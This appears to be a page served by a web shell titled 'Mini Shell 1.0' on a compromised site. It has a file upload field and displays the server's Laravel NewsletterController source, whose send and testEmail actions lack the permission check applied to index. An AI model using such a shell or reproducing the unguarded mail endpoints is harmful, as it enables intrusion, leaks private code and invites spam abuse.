HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/NewsletterController.php
<?php



namespace App\Http\Controllers;



use Illuminate\Http\Request;

use App\Models\User;

use App\Models\Subscriber;

use Mail;

use App\Mail\EmailManager;



class NewsletterController extends Controller

{

    public function __construct() {

        // Staff Permission Check

        $this->middleware(['permission:send_newsletter'])->only('index');

    }



    public function index(Request $request)

    {

        $users = User::all();

        $subscribers = Subscriber::all();

        return view('backend.marketing.newsletters.index', compact('users', 'subscribers'));

    }



    public function send(Request $request)

    {

        if (env('MAIL_USERNAME') != null) {

            //sends newsletter to selected users

        	if ($request->has('user_emails')) {

                foreach ($request->user_emails as $key => $email) {

                    $array['view'] = 'emails.newsletter';

                    $array['subject'] = $request->subject;

                    $array['from'] = env('MAIL_FROM_ADDRESS');

                    $array['content'] = $request->content;



                    try {

                        Mail::to($email)->queue(new EmailManager($array));

                    } catch (\Exception $e) {

                        //dd($e);

                    }

            	}

            }



            //sends newsletter to subscribers

            if ($request->has('subscriber_emails')) {

                foreach ($request->subscriber_emails as $key => $email) {

                    $array['view'] = 'emails.newsletter';

                    $array['subject'] = $request->subject;

                    $array['from'] = env('MAIL_FROM_ADDRESS');

                    $array['content'] = $request->content;



                    try {

                        Mail::to($email)->queue(new EmailManager($array));

                    } catch (\Exception $e) {

                        //dd($e);

                    }

            	}

            }

        }

        else {

            flash(translate('Please configure SMTP first'))->error();

            return back();

        }



    	flash(translate('Newsletter has been send'))->success();

    	return redirect()->route('admin.dashboard');

    }



    public function testEmail(Request $request){

        $array['view'] = 'emails.newsletter';

        $array['subject'] = "SMTP Test";

        $array['from'] = env('MAIL_FROM_ADDRESS');

        $array['content'] = "This is a test email.";



        try {

            Mail::to($request->email)->queue(new EmailManager($array));

        } catch (\Exception $e) {

            dd($e);

        }



        flash(translate('An email has been sent.'))->success();

        return back();

    }

}